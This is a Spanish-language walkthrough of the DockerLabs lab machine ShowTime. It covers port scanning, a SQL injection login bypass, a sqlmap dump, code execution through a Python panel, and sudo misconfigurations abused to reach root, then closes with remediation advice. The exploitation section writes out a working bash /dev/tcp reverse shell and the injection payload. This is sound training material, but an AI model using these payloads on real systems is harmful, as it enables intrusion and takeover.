ShowTime

🧩 Introducción

En este artículo se documenta la resolución completa de la máquina virtual ShowTime, creada por maciiii___ y catalogada como fácil en la plataforma DockerLabs. El objetivo es ofrecer una guía reproducible, estructurada y didáctica: explicar qué se hizo, por qué funcionó cada paso y cómo detectar y mitigar patrones similares en entornos reales.

El flujo de trabajo se desarrolla en tres fases:

1. Reconocimiento – Identificar servicios expuestos, rutas web y vectores de entrada.
2. Explotación – Obtener acceso inicial aprovechando vulnerabilidades web (SQLi → RCE).
3. Escalada de privilegios – Abusar de configuraciones inseguras (sudo) para obtener root.

⚠️ Aviso: todas las acciones se realizaron dentro de un laboratorio controlado (DockerLabs). No realices pruebas intrusivas en sistemas sin autorización.

---

🧠 Información general

Atributo	Detalle
Nombre	ShowTime
Autor	maciiii___
Dificultad	Fácil
Fecha de creación	24/07/2024
Plataforma	DockerLabs

---

⚙️ Paso 0 — Preparación y despliegue

1. Descomprimir el paquete:

   unzip ShowTime.zip

2. Desplegar la máquina:

   sudo bash auto_deploy.sh ShowTime.tar

El script levanta un contenedor y muestra la IP asignada. Guárdala para los pasos siguientes.

---

🔍 Paso 1 — Reconocimiento

1.1 Organización del entorno

Preparar el workspace:

mkdir -p ShowTime/{content,exploits,nmap,scripts}
cd ShowTime

Mantener evidencia ordenada facilita reproducir y reportar.

---

1.2 Escaneo de puertos

Scan rápido con Nmap:

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
extractPorts allPorts

Servicios detectados:

• 80/tcp → HTTP (sitio web)
• 22/tcp → SSH

---

1.3 Enumeración web

Enumeración de rutas con Gobuster:

gobuster dir -u http://172.17.0.2/ \
  -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
  -x php,html,txt,js -t 200 -o gobuster.txt

Rutas relevantes:

• /index.php — página principal.
• /login — formulario de autenticación.

Gobuster listó directorios, pero ninguno contenía información crítica — por eso pasamos a inspección manual del formulario.

---

💥 Paso 2 — Explotación

2.1 Detección de SQLi

Probamos introducir una comilla simple (') en el formulario y obtuvimos un error SQL: indicio claro de SQL Injection.

Prueba de bypass clásico:

Usuario: admin
Contraseña: ' or 1=1-- -

Con esto accedimos a una página administrativa básica.

---

2.2 Dump de base de datos con sqlmap

Automatizamos la extracción con sqlmap:

sqlmap -u "http://172.17.0.2/index.php" --forms --batch -D users --dump

(En la práctica especifica la base y tabla correcta; en este laboratorio sqlmap encontró datos de usuarios.)

Probando credenciales obtenidas, logramos autenticarnos como joe en el panel.

---

2.3 Ejecución remota de comandos (RCE) desde el panel

El panel del usuario joe permite ejecutar código Python. Probamos un comando sencillo:

import os
os.system("ls")

Al comprobar que la ejecución funciona, lanzamos una reverse shell desde el panel:

import os
os.system("bash -c 'exec bash -i &>/dev/tcp/172.17.0.1/443 <&1'")

En nuestra máquina atacante escuchamos:

nc -lvnp 443

La conexión entró y obtuvimos una shell como www-data (o como el usuario con el que corre el servicio web).

Por qué funcionó: la aplicación ejecutaba código sin restricciones (eval/exec) desde el panel — una vulnerabilidad crítica: remote code execution.

---

🧑‍💻 Paso 3 — Escalada de privilegios

3.1 Buscar credenciales locales

En /tmp encontramos .hidden_text.txt — un archivo con posibles contraseñas. Lo descargamos y lo usamos para forzar logins por SSH con hydra.

Tip: normalizamos a minúsculas las entradas del diccionario para aumentar aciertos.

Al final obtuvimos credenciales válidas para joe en SSH.

---

3.2 Abuso de sudo para moverse a otro usuario

Con joe comprobamos privilegios sudo:

sudo -l

Salida muestra que joe puede ejecutar /bin/posh como luciano:

Ejecutamos:

sudo -u luciano /bin/posh

y nos movimos a la cuenta luciano.

---

3.3 Escalada final a root

Desde luciano volvimos a comprobar sudo -l:

Observamos que luciano puede ejecutar /bin/bash script.sh como root (o directamente ejecutar scripts con privilegios). Aprovechamos esto escribiendo un script.sh controlado que ejecuta bash -p o establece el bit SUID:

Contenido de ejemplo para script.sh:

#!/bin/bash
/bin/bash -p

Luego:

sudo /bin/bash script.sh

Obtenemos shell privilegiada → root.

✅ Acceso root conseguido.

---

🧩 Conclusión y aprendizajes

Cadena de explotación (resumen)

1. SQL Injection en index.php → extracción de usuarios/tabla.
2. Autenticación con credenciales extraídas → acceso a panel (usuario joe).
3. RCE: el panel permite ejecutar código Python → reverse shell.
4. Enumeración local → archivo /tmp/.hidden_text.txt con diccionario.
5. Acceso SSH con credenciales obtenidas.
6. Movimiento lateral y privilegios: sudo mal configurado permite sudo -u luciano /bin/posh.
7. Escalada a root usando la capacidad de ejecutar scripts como root.

---

Fallos de seguridad identificados (tabla actualizada)

Tipo de vulnerabilidad	Descripción breve	Impacto
SQL Injection (SQLi)	Input no sanitizado en el formulario de index.php que permite extracción de DB.	Alta — permite dump de usuarios/secretos
Exec remoto desde UI (RCE)	El panel administrativo ejecuta código Python sin restricciones (os.system/eval).	Crítico — ejecución arbitraria de comandos
Exposición de datos temporales	Archivo /tmp/.hidden_text.txt con diccionario/secretos accesible al sistema.	Medio — facilita acceso por fuerza bruta
Configuración sudo insegura	Usuarios pueden ejecutar binarios o scripts como otros usuarios/root sin límites.	Alta — escalada de privilegios posible

---

🛡️ Recomendaciones (remediación)

• Eliminar SQLi: usar consultas parametrizadas/prepared statements (PDO, ORM) y validar/sanar toda entrada del usuario.
• Eliminar ejecución arbitraria de código: evitar eval, exec o os.system en rutas web; si es imprescindible, ejecutar en entornos aislados con límites estrictos (contenedores, timeouts, seccomp).
• Proteger archivos temporales: no almacenar contraseñas ni diccionarios en /tmp; restringir permisos y rotar/limpiar archivos temporales.
• Revisar sudoers: aplicar principio de mínimo privilegio — no permitir ejecución de shells o editores que permitan escape a root; usar comandos específicos y sin argumentos modificables.
• Auditoría y monitoreo: habilitar logging completo (web, auth, sudo) y alertas ante accesos inusuales.
• Pruebas regulares: integrar escaneo de vulnerabilidades y pruebas de seguridad en CI/CD.